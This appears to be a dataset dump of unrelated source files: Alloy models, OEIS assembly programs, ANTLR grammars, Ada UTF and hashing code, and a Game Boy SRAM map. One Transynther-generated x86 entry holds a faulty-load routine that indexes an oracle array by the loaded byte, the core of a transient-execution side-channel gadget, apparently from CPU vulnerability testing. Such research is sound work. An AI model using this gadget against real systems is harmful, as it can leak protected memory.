max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
alloy4fun_models/trashltl/models/16/RSyiBwb4BDEJLZ6Xo.als | Kaixi26/org.alloytools.alloy | 0 | 4720 | open main
pred idRSyiBwb4BDEJLZ6Xo_prop17 {
all f: File |(always f' not in File since eventually f in Trash)
}
pred __repair { idRSyiBwb4BDEJLZ6Xo_prop17 }
check __repair { idRSyiBwb4BDEJLZ6Xo_prop17 <=> prop17o } |
oeis/017/A017167.asm | neoneye/loda-programs | 11 | 21746 | ; A017167: a(n) = (9*n)^7.
; 0,4782969,612220032,10460353203,78364164096,373669453125,1338925209984,3938980639167,10030613004288,22876792454961,47829690000000,93206534790699,171382426877952,300124211606973,504189521813376,817215093984375,1283918464548864,1962637152460137,2928229434235008,4275360817613091,6122200320000000,8614550657858229,11930436453209472,16285174563412143,21936950640377856,29192926025390625,38415899085692544,50031545098999707,64536258792112128,82505623639781421,104603532030000000,131591980401875559
pow $0,7
mul $0,4782969
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2690.asm | ljhsiun2/medusa | 9 | 14561 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x3572, %rdi
and %r15, %r15
movb $0x61, (%rdi)
nop
nop
xor %rbp, %rbp
lea addresses_WC_ht+0x75e9, %rsi
lea addresses_WT_ht+0x13b62, %rdi
nop
nop
nop
inc %r12
mov $107, %rcx
rep movsq
nop
nop
nop
nop
add $10233, %r10
lea addresses_A_ht+0x19582, %r12
clflush (%r12)
nop
nop
add $28897, %rsi
movl $0x61626364, (%r12)
dec %rcx
lea addresses_D_ht+0x1202, %r15
nop
nop
and %rdi, %rdi
mov $0x6162636465666768, %r12
movq %r12, (%r15)
nop
nop
inc %rcx
lea addresses_WC_ht+0x119cc, %rbp
sub $49529, %r15
vmovups (%rbp), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %r10
cmp $41737, %rdi
lea addresses_normal_ht+0x3302, %rsi
sub %rbp, %rbp
mov (%rsi), %r12w
nop
nop
nop
nop
nop
sub %r12, %r12
lea addresses_A_ht+0x8502, %rsi
lea addresses_D_ht+0x8c02, %rdi
nop
cmp $30584, %r10
mov $66, %rcx
rep movsq
nop
nop
nop
nop
sub $1764, %rsi
lea addresses_A_ht+0xc002, %rsi
lea addresses_D_ht+0x10a02, %rdi
nop
nop
nop
nop
xor %r14, %r14
mov $31, %rcx
rep movsb
add $14241, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r9
push %rbx
push %rdx
push %rsi
// Load
mov $0x682, %r13
nop
cmp %r9, %r9
mov (%r13), %r12
nop
nop
nop
nop
inc %r9
// Faulty Load
lea addresses_PSE+0x1c202, %r12
add $60420, %r13
mov (%r12), %dx
lea oracles, %r9
and $0xff, %rdx
shlq $12, %rdx
mov (%r9,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rbx
pop %r9
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_P', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': True}, 'OP': 'REPM'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
src/main/java/parser/PseudoDot.g4 | proksch/workflow-coding-tool | 0 | 2090 | <reponame>proksch/workflow-coding-tool<gh_stars>0
/*
* Copyright 2019 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
grammar PseudoDot;
@header {
package parser;
}
graphs : digraph+ EOF;
digraph : 'strict' WS+ 'digraph' WS+ ID WS* '{' edge+ WS* '}' WS*;
edge: WS* LABEL (WS* '->' WS* LABEL)* WS* ';' ;
LABEL: '"' ('\\"'|.)*? '"' ;
ID : SCEN_ID? PART_ID;
PART_ID : 'P' [1-9] [0-9]* ;
SCEN_ID : 'S' [1-9] [0-9]* ;
WS: ' ' | '\t' | '\n';
|
examples/utfconv.adb | ytomino/drake | 33 | 25547 | with Ada.Characters.Conversions;
with Ada.Strings.UTF_Encoding.Conversions;
with Ada.Strings.UTF_Encoding.Strings;
with Ada.Strings.UTF_Encoding.Wide_Strings;
with Ada.Strings.UTF_Encoding.Wide_Wide_Strings;
procedure utfconv is
subtype C is Character;
subtype WC is Wide_Character;
subtype WWC is Wide_Wide_Character;
Seq : constant String := (
C'Val (16#e3#), C'Val (16#81#), C'Val (16#82#),
C'Val (16#e3#), C'Val (16#81#), C'Val (16#84#),
C'Val (16#e3#), C'Val (16#81#), C'Val (16#86#),
C'Val (16#e3#), C'Val (16#81#), C'Val (16#88#),
C'Val (16#e3#), C'Val (16#81#), C'Val (16#8a#),
C'Val (16#f0#), C'Val (16#90#), C'Val (16#84#), C'Val (16#b7#));
Wide_Seq : constant Wide_String := (
WC'Val (16#3042#),
WC'Val (16#3044#),
WC'Val (16#3046#),
WC'Val (16#3048#),
WC'Val (16#304a#),
WC'Val (16#d800#), WC'Val (16#dd37#));
Wide_Wide_Seq : constant Wide_Wide_String := (
WWC'Val (16#3042#),
WWC'Val (16#3044#),
WWC'Val (16#3046#),
WWC'Val (16#3048#),
WWC'Val (16#304a#),
WWC'Val (16#0001_0137#));
begin
declare
S : String := Seq;
W : Wide_String := Ada.Strings.UTF_Encoding.Conversions.Convert (S);
pragma Assert (W = Wide_Seq);
WR : String := Ada.Strings.UTF_Encoding.Conversions.Convert (W);
pragma Assert (WR = Seq);
WW : Wide_Wide_String := Ada.Strings.UTF_Encoding.Conversions.Convert (S);
pragma Assert (WW = Wide_Wide_Seq);
WWR : String := Ada.Strings.UTF_Encoding.Conversions.Convert (WW);
pragma Assert (WWR = Seq);
D : Wide_Wide_String := Ada.Strings.UTF_Encoding.Conversions.Convert (W);
pragma Assert (D = Wide_Wide_Seq);
DR : Wide_String := Ada.Strings.UTF_Encoding.Conversions.Convert (D);
pragma Assert (DR = Wide_Seq);
begin
-- environment-depended value
pragma Debug (Ada.Debug.Put (
Ada.Strings.UTF_Encoding.Encoding_Scheme'Image (
Ada.Strings.UTF_Encoding.UTF_16_Wide_String_Scheme)));
pragma Debug (Ada.Debug.Put (
Ada.Strings.UTF_Encoding.Encoding_Scheme'Image (
Ada.Strings.UTF_Encoding.UTF_32_Wide_Wide_String_Scheme)));
null;
end;
-- add or remove BOM
declare
package ASUE renames Ada.Strings.UTF_Encoding;
begin
pragma Assert (ASUE.Strings.Encode ("A", ASUE.UTF_8, True) = ASUE.UTF_String'(ASUE.BOM_8 & "A"));
pragma Assert (ASUE.Strings.Encode ("A", True) = ASUE.BOM_8 & "A");
pragma Assert (ASUE.Strings.Decode (ASUE.UTF_String'(ASUE.BOM_8 & "A"), ASUE.UTF_8) = "A");
pragma Assert (ASUE.Strings.Decode (ASUE.BOM_8 & "A") = "A");
pragma Assert (ASUE.Wide_Strings.Encode ("A", ASUE.UTF_16BE, True) = ASUE.UTF_String'(ASUE.BOM_16BE & C'Val (0) & "A"));
pragma Assert (ASUE.Wide_Strings.Encode ("A", True) = ASUE.BOM_16 & "A");
pragma Assert (ASUE.Wide_Strings.Decode (ASUE.UTF_String'(ASUE.BOM_16BE & C'Val (0) & "A"), ASUE.UTF_16BE) = "A");
pragma Assert (ASUE.Wide_Strings.Decode (ASUE.BOM_16 & "A") = "A");
pragma Assert (ASUE.Wide_Wide_Strings.Encode ("A", ASUE.UTF_32BE, True) = ASUE.UTF_String'(ASUE.BOM_32BE & C'Val (0) & C'Val (0) & C'Val (0) & "A"));
pragma Assert (ASUE.Wide_Wide_Strings.Encode ("A", True) = ASUE.BOM_32 & "A");
pragma Assert (ASUE.Wide_Wide_Strings.Decode (ASUE.UTF_String'(ASUE.BOM_32BE & C'Val (0) & C'Val (0) & C'Val (0) & "A"), ASUE.UTF_32BE) = "A");
pragma Assert (ASUE.Wide_Wide_Strings.Decode (ASUE.BOM_32 & "A") = "A");
null;
end;
-- handling UTF-8 illegal sequence
declare
type Unsigned_31 is mod 2 ** 31;
procedure Test (Item : Character) is
S : String := (1 => Item);
Last : Natural;
Code : Wide_Wide_Character;
Is_Illegal_Sequence : Boolean;
D : String (1 .. 6);
begin
Ada.Characters.Conversions.Get (S, Last, Code, Is_Illegal_Sequence);
pragma Assert (Is_Illegal_Sequence);
Ada.Characters.Conversions.Put (Code, D, Last);
pragma Assert (Unsigned_31'(Character'Pos (D (Last)) and 16#3f#) = (Character'Pos (Item) and 16#3f#));
end Test;
begin
Test (Character'Val (16#80#));
Test (Character'Val (16#8f#));
Test (Character'Val (16#fe#));
end;
pragma Debug (Ada.Debug.Put ("OK"));
end utfconv;
|
Sorular/04.asm | iamruveyda/KBU-Mikro | 1 | 82105 | .model small
.data
.code
main proc
;initialize the memory and registers
MOV AX,3000H ;
MOV DS,AX ;set data segment register
MOV [0059H],0000H ;set memory related data
MOV [0058H],0001H ;set memory related data
MOV [0057H],0002H ;set memory related data
MOV [0056H],0003H ;set memory related data
MOV [0055H],0004H ;set memory related data
MOV [0054H],0005H ;set memory related data
MOV [0053H],0006H ;set memory related data
MOV [0052H],0007H ;set memory related data
MOV [0051H],0008H ;set memory related data
MOV [0050H],0009H ;set memory related data
MOV AX,0008H ;
MOV DI,AX ;set destination index register
MOV [0109H],00H ;set memory related data
MOV [0108H],02H ;set memory related data
MOV [0107H],04H ;set memory related data
MOV [0106H],06H ;set memory related data
MOV [0105H],08H ;set memory related data
MOV [0104H],0AH ;set memory related data
MOV [0103H],0CH ;set memory related data
MOV [0102H],0EH ;set memory related data
MOV [0101H],11H ;set memory related data
MOV [0100H],00H ;set memory related data
MOV [0159H],0AH ;set memory related data
MOV [0158H],0AH ;set memory related data
MOV [0157H],0EH ;set memory related data
MOV [0156H],0EH ;set memory related data
MOV [0155H],0AH ;set memory related data
MOV [0154H],0AH ;set memory related data
MOV [0153H],0EH ;set memory related data
MOV [0152H],0EH ;set memory related data
MOV [0151H],00H ;set memory related data
MOV [0150H],00H ;set memory related data
MOV [0209H],1BH ;set memory related data
MOV [0208H],1BH ;set memory related data
MOV [0207H],15H ;set memory related data
MOV [0206H],12H ;set memory related data
MOV [0205H],0FH ;set memory related data
MOV [0204H],0CH ;set memory related data
MOV [0203H],09H ;set memory related data
MOV [0202H],06H ;set memory related data
MOV [0201H],03H ;set memory related data
MOV [0200H],00H ;set memory related data
MOV [0159H],2DH ;set memory related data
MOV [0158H],28H ;set memory related data
MOV [0157H],23H ;set memory related data
MOV [0156H],1EH ;set memory related data
MOV [0155H],19H ;set memory related data
MOV [0154H],14H ;set memory related data
MOV [0153H],0FH ;set memory related data
MOV [0152H],0AH ;set memory related data
MOV [0151H],05H ;set memory related data
MOV [0150H],00H ;set memory related data
;starts right here!
MOV DX,[0053H] ;load memory related data
MOV CX,DX ;add cx to dx
ADD DX, 004AH
MOV BX,DX ;copy dx to bx
MOV AL,00 ;clear al
CME321: ADD AL,[BX + DI] ;add the content data from memory location of BX+DI
DEC BX
DEC CX
JNZ CME321 ;The JNZ (jump if not Zero) instruction jumps if the Zero flag is clear:
;means "Jump to next iteration if counter not zero."
endp
end main |
src/main/antlr/jatyc/typestate/parser/Typestate.g4 | jdmota/abcd-mungo | 0 | 1253 | <reponame>jdmota/abcd-mungo
grammar Typestate;
@header {
package jatyc.typestate.parser;
import jatyc.typestate.*;
import static jatyc.typestate.Position.tokenToPos;
import static jatyc.typestate.Utils.map;
}
// Info: https://github.com/antlr/antlr4/blob/master/doc/parser-rules.md
start returns [TTypestateNode ast] locals [TPackageNode pkg] :
( p=package_statement {$pkg=$p.node;} )? ( i+=import_statement )* t=typestate_declaration
{$ast=new TTypestateNode($pkg, map($i, i -> i.node), $t.node);}
;
ref returns [TRefNode node] :
id {$node=$id.node;} |
r=ref '.' id {$node=new TMemberNode($r.node.getPos(), $r.node, $id.node);}
;
javaType returns [TRefNode node] :
ref {$node=$ref.node;} |
j=javaType '[]' {$node=new TArrayTypeNode($j.node.getPos(), $j.node);}
;
package_statement returns [TPackageNode node] :
t='package' ref ';'
{$node=new TPackageNode(tokenToPos($t), $ref.node);}
;
import_statement returns [TImportNode node] :
t='import' s='static'? ref ( '.' star='*' )? ';'
{$node=new TImportNode(tokenToPos($t), $ref.node, $s != null, $star != null);}
;
typestate_declaration returns [TDeclarationNode node] :
t='typestate' ID '{' typestate_body '}' EOF
{$node=new TDeclarationNode(tokenToPos($t), $ID.getText(), $typestate_body.states);}
;
typestate_body returns [List<TStateNode> states] :
( s+=state_declaration )*
{$states=map($s, s -> s.node);}
;
state_declaration returns [TStateNode node] :
name=ID '=' state
{$node=new TStateNode(tokenToPos($name), $name.getText(), $state.node.getMethods(), $state.node.isDroppable());}
;
state returns [TStateNode node] locals [boolean isDroppable] :
t='{' ( m+=method ( ',' m+=method )* ( ',' DROP ':' END {$isDroppable=true;} )? )? '}'
{$node=new TStateNode(tokenToPos($t), null, map($m, it -> it.node), $isDroppable);}
;
method returns [TMethodNode node] locals [TNode destination] :
return_type=javaType name=ID '(' ( args+=javaType ( ',' args+=javaType )* )? ')' ':' (
id {$destination=$id.node;} |
state {$destination=$state.node;} |
decision_state {$destination=$decision_state.node;}
)
{$node=new TMethodNode($return_type.node.getPos(), $return_type.node, $name.getText(), map($args, a -> a.node), $destination);}
;
decision_state returns [TDecisionStateNode node] :
t='<' decisions+=decision ( ',' decisions+=decision )* '>'
{$node=new TDecisionStateNode(tokenToPos($t), map($decisions, d -> d.node));}
;
decision returns [TDecisionNode node] :
label=ID ':' (
ref {$node=new TDecisionNode(tokenToPos($label), $label.getText(), $ref.node);} |
state {$node=new TDecisionNode(tokenToPos($label), $label.getText(), $state.node);}
)
;
id returns [TIdNode node] :
DROP {$node=new TIdNode(tokenToPos($DROP), $DROP.getText());} |
END {$node=new TIdNode(tokenToPos($END), $END.getText());} |
ID {$node=new TIdNode(tokenToPos($ID), $ID.getText());}
;
// keywords
DROP : 'drop' ;
END : 'end' ;
// match identifiers
ID : [$_a-zA-Z]+[$_a-zA-Z0-9]* ;
// skip spaces, tabs, newlines
WS : [ \t\r\n]+ -> skip ;
// skip comments
BlockComment : '/*' .*? '*/' -> skip ;
LineComment : '//' ~[\r\n]* -> skip ;
|
test/Fail/Issue4888.agda | jappeace/agda | 0 | 3780 | open import Agda.Builtin.Bool
impor Agda.Builtin.Nat
import Agda.Builtin.Sigma
module issue4888 where
|
src/siphash24_string_hashing.adb | jhumphry/SPARK_SipHash | 5 | 28898 | -- SipHash24_String_Hashing
-- Instantiations of SipHash with recommended parameters for the String types
-- in order to replace Ada.Strings.Hash and friends.
-- Copyright (c) 2015, <NAME> - see LICENSE file for details
pragma Spark_Mode;
with Ada.Characters.Handling, Ada.Wide_Characters.Handling;
with Ada.Wide_Wide_Characters.Handling;
with Ada.Strings.UTF_Encoding.Wide_Wide_Strings;
package body SipHash24_String_Hashing is
function String_Hash_Case_Insensitive (Key : String)
return Ada.Containers.Hash_Type
is
(String_Hash(Ada.Characters.Handling.To_Lower(Key)));
function Wide_String_Hash_Case_Insensitive (Key : Wide_String)
return Ada.Containers.Hash_Type
is
(Wide_String_Hash(Ada.Wide_Characters.Handling.To_Lower(Key)));
function Wide_Wide_String_Hash_Case_Insensitive (Key : Wide_Wide_String)
return Ada.Containers.Hash_Type
is
(Wide_Wide_String_Hash(Ada.Wide_Wide_Characters.Handling.To_Lower(Key)));
function UTF_8_String_Hash_Case_Insensitive
(Key : UTF_8_String)
return Ada.Containers.Hash_Type is
Decoded_String : constant Wide_Wide_String
:= Ada.Wide_Wide_Characters.Handling.To_Lower(Ada.Strings.UTF_Encoding.Wide_Wide_Strings.Decode(Key));
begin
return Wide_Wide_String_Hash(Decoded_String);
end UTF_8_String_Hash_Case_Insensitive;
end SipHash24_String_Hashing;
|
data/pokemon/dex_entries/gorebyss.asm | AtmaBuster/pokeplat-gen2 | 6 | 103070 | <gh_stars>1-10
db "SOUTH SEA@" ; species name
db "Its pink body will"
next "become more vivid"
next "during springtime,"
page "during which, the"
next "temperature of"
next "the water rises.@"
|
libsrc/_DEVELOPMENT/arch/zx/display/z80/asm_zx_saddr2py.asm | UnivEngineer/z88dk | 4 | 84218 | <reponame>UnivEngineer/z88dk
; ===============================================================
; Jun 2007
; ===============================================================
;
; uchar zx_saddr2py(void *saddr)
;
; Pixel y coordinate corresponding to screen address.
;
; ===============================================================
SECTION code_clib
SECTION code_arch
PUBLIC asm_zx_saddr2py
asm_zx_saddr2py:
; enter : hl = screen address
;
; exit : l = pixel y coordinate
;
; uses : af, l
rr l
rr l ; L = XX'rrr'XXX (char *R*ow)
ld a,h
add a,a
add a,a
add a,a
xor h
and $c0
xor h ; A = tt'XXX'lll (*T*hird, *L*ine)
xor l
and $c7
xor l ; A = tt'rrr'lll
ld l,a
IF __SCCZ80
ld h,0
ENDIF
ret
|
programs/oeis/248/A248339.asm | neoneye/loda | 22 | 170796 | <filename>programs/oeis/248/A248339.asm
; A248339: a(n) = 22*n+19.
; 19,41,63,85,107,129,151,173,195,217,239,261,283,305,327,349,371,393,415,437,459,481,503,525,547,569,591,613,635,657,679,701,723,745,767,789,811,833,855,877,899,921,943,965,987,1009,1031,1053,1075,1097,1119,1141,1163,1185,1207,1229,1251,1273,1295,1317,1339,1361,1383,1405,1427,1449,1471,1493,1515,1537,1559,1581,1603,1625,1647,1669,1691,1713,1735,1757,1779,1801,1823,1845,1867,1889,1911,1933,1955,1977,1999,2021,2043,2065,2087,2109,2131,2153,2175,2197
mul $0,22
add $0,19
|
oeis/065/A065563.asm | neoneye/loda-programs | 11 | 28306 | ; A065563: Product of three consecutive Fibonacci numbers.
; Submitted by <NAME>(s4)
; 2,6,30,120,520,2184,9282,39270,166430,704880,2986128,12649104,53583010,226980390,961505790,4073001576,17253515288,73087057560,309601753890,1311494059590,5555578014142,23533806080736,99690802394400,422297015565600,1788878864806850,7577812474550214,32100128763400542,135978327527516760,576013438874496040,2440032083023836840,10336141770972535938,43784599166909623974,185474538438618080990,785682752921370542160,3328205550124118704560,14098504953417815499696,59722225363795429018978
add $0,1
mov $2,1
mov $4,1
lpb $0
sub $0,1
mov $3,$4
mov $4,$2
add $2,$3
lpe
mul $4,$2
mul $3,$4
mov $0,$3
|
sram.asm | AmateurPanda92/pokemon-rby-dx | 9 | 81341 | <gh_stars>1-10
SECTION "Sprite Buffers", SRAM ; BANK 0
sSpriteBuffer0:: ds SPRITEBUFFERSIZE ; a000
sSpriteBuffer1:: ds SPRITEBUFFERSIZE ; a188
sSpriteBuffer2:: ds SPRITEBUFFERSIZE ; a310
ds $100
sHallOfFame:: ds HOF_TEAM * HOF_TEAM_CAPACITY ; a598
SECTION "Save Data", SRAM ; BANK 1
ds $598
sPlayerName:: ds NAME_LENGTH ; a598
sMainData:: ds wMainDataEnd - wMainDataStart ; a5a3
sSpriteData:: ds wSpriteDataEnd - wSpriteDataStart ; ad2c
sPartyData:: ds wPartyDataEnd - wPartyDataStart ; af2c
sCurBoxData:: ds wBoxDataEnd - wBoxDataStart ; b0c0
sTilesetType:: ds 1 ; b522
sMainDataCheckSum:: ds 1 ; b523
SECTION "Saved Boxes 1", SRAM ; BANK 2
sBox1:: ds wBoxDataEnd - wBoxDataStart ; a000
sBox2:: ds wBoxDataEnd - wBoxDataStart ; a462
sBox3:: ds wBoxDataEnd - wBoxDataStart ; a8c4
sBox4:: ds wBoxDataEnd - wBoxDataStart ; ad26
sBox5:: ds wBoxDataEnd - wBoxDataStart ; b188
sBox6:: ds wBoxDataEnd - wBoxDataStart ; b5ea
sBank2AllBoxesChecksum:: ds 1 ; ba4c
sBank2IndividualBoxChecksums:: ds 6 ; ba4d
SECTION "Saved Boxes 2", SRAM ; BANK 3
sBox7:: ds wBoxDataEnd - wBoxDataStart ; a000
sBox8:: ds wBoxDataEnd - wBoxDataStart ; a462
sBox9:: ds wBoxDataEnd - wBoxDataStart ; a8c4
sBox10:: ds wBoxDataEnd - wBoxDataStart ; ad26
sBox11:: ds wBoxDataEnd - wBoxDataStart ; b188
sBox12:: ds wBoxDataEnd - wBoxDataStart ; b5ea
sBank3AllBoxesChecksum:: ds 1 ; ba4c
sBank3IndividualBoxChecksums:: ds 6 ; ba4d
|
programs/oeis/168/A168197.asm | neoneye/loda | 22 | 28582 | ; A168197: a(n) = 3*n - a(n-1) + 1 with n > 1, a(1)=0.
; 0,7,3,10,6,13,9,16,12,19,15,22,18,25,21,28,24,31,27,34,30,37,33,40,36,43,39,46,42,49,45,52,48,55,51,58,54,61,57,64,60,67,63,70,66,73,69,76,72,79,75,82,78,85,81,88,84,91,87,94,90,97,93,100,96,103,99,106,102,109,105,112,108,115,111,118,114,121,117,124,120,127,123,130,126,133,129,136,132,139,135,142,138,145,141,148,144,151,147,154
mov $1,32
add $1,$0
div $0,2
mul $0,11
mul $1,7
sub $1,$0
sub $1,224
mov $0,$1
|
source/strings/a-szlcin.ads | ytomino/drake | 33 | 19219 | pragma License (Unrestricted);
-- Ada 2012
with Ada.Characters.Conversions;
with Ada.Strings.Generic_Less_Case_Insensitive;
function Ada.Strings.Wide_Wide_Less_Case_Insensitive is
new Generic_Less_Case_Insensitive (
Wide_Wide_Character,
Wide_Wide_String,
Characters.Conversions.Get);
-- pragma Pure (Ada.Strings.Wide_Wide_Less_Case_Insensitive);
pragma Preelaborate (Ada.Strings.Wide_Wide_Less_Case_Insensitive); -- use maps
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnat/s-putaim.adb | djamal2727/Main-Bearing-Analytical-Model | 0 | 28900 | <reponame>djamal2727/Main-Bearing-Analytical-Model
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- SYSTEM.PUT_TASK_IMAGES --
-- --
-- B o d y --
-- --
-- Copyright (C) 2020, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Unchecked_Conversion;
with Ada.Strings.Text_Output.Utils;
use Ada.Strings.Text_Output;
use Ada.Strings.Text_Output.Utils;
package body System.Put_Task_Images is
procedure Put_Image_Protected (S : in out Sink'Class) is
begin
Put_UTF_8 (S, "(protected object)");
end Put_Image_Protected;
procedure Put_Image_Task
(S : in out Sink'Class; Id : Ada.Task_Identification.Task_Id)
is
begin
Put_UTF_8 (S, "(task " & Ada.Task_Identification.Image (Id) & ")");
end Put_Image_Task;
end System.Put_Task_Images;
|
emulator/enter_nestopia_cheat.scpt | chrisvaughn/tetrisAI | 0 | 2011 | tell application "System Events"
tell process "Nestopia"
set frontmost to true
click menu item "Enter Cheat Code..." of menu "Options" of menu bar 1
tell text field 1 of window 1
click
set value to "ZAYAKP"
key code 36
key code 36
end tell
end tell
end tell
|
Task/Polymorphism/Ada/polymorphism-5.ada | mullikine/RosettaCodeData | 1 | 20599 | with Shapes.Circles; use Shapes.Circles;
use Shapes;
